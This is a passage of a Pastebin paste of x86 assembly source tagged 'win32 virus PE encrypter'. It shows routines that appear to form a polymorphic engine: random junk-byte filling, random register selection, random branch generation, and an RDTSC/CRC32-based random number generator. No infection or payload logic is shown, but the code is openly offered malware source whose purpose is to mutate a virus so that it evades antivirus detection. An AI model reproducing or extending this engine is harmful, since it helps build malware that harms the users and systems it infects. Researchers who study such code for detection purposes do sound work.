  891.         lea esi,_i_pop
  892.         call    garbage_hand           
  893.         add edx,eax
  894.         add edi,eax
  895.         mov [esp+PUSHA_STRUCT._EAX],edx    
  896.         popad
  897.         ret
  898.  
  899. fill_trash: pushad
  900.         xor ebx,ebx
  901.         mov     eax,20
  902.         call    random_eax
  903.         mov ecx,eax
  904.         test    eax,eax
  905.         jz  done_fill_trash
  906.  
  907. fill_trash_x:   mov eax,0FFh
  908.         call    random_eax
  909.         stosb
  910.         inc ebx
  911.         loop    fill_trash_x
  912.  
  913. done_fill_trash:
  914.         mov [esp+PUSHA_STRUCT._EAX],ebx
  915.         popad
  916.         ret
  917.  
  918. reset_regs:
  919.         pushad 
  920.         lea esi,allowed_regs_temp
  921.         mov ecx,x1_tbl_size
  922.         lea edi,allowed_regs
  923.         rep movsb
  924.         popad
  925.         ret
  926.  
  927.  
  928. gen_regs:   pushad
  929.         mov eax,x1_tbl_size
  930.         call    random_eax
  931.         lea edi,allowed_regs
  932.         mov ecx,x1_tbl_size
  933.         rep stosb      
  934.         popad
  935.         ret
  936.  
  937.  
  938. set_random: pushad
  939.         mov eax,6
  940.         call    random_eax
  941.         cmp eax,5
  942.         jne not_set
  943.         call    gen_bjumps     
  944.         jmp le_set
  945.  
  946. not_set:    xor eax,eax
  947. le_set:     mov [esp+PUSHA_STRUCT._EAX],eax
  948.  
  949.         popad
  950.         ret
  951.  
  952.  
  953. random_setup            proc
  954.  
  955.         @callx GetTickCount
  956.         mov Random_Seed,eax
  957.         ret
  958.  
  959. random_setup            endp
  960.  
  961. Random_Seed         dd 0
  962.  
  963. random_eax          proc
  964.  
  965.                 PUSH    ECX
  966.                 PUSH    EDX
  967.                 PUSH    EAX
  968.         db      0Fh, 31h           ; RDTSC
  969.                 MOV     ECX, Random_Seed  
  970.                 ADD     EAX, ECX  
  971.                 ROL     ECX, 1
  972.                 ADD     ECX, 666h
  973.                 MOV     Random_Seed, ECX
  974.             PUSH    32
  975.                 POP     ECX
  976.  
  977. CRC_Bit:        SHR     EAX, 1      
  978.                 JNC     Loop_CRC_Bit
  979.                 XOR     EAX, 0EDB88320h
  980.  
  981. Loop_CRC_Bit:   LOOP    CRC_Bit
  982.                 POP     ECX    
  983.                 XOR     EDX, EDX
  984.                 DIV     ECX
  985.                 XCHG    EDX, EAX                
  986.                 OR      EAX, EAX                
  987.                 POP     EDX
  988.                 POP     ECX
  989.                 RETN
  990. random_eax            endp
Tags: win32 virus PE encrypter
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!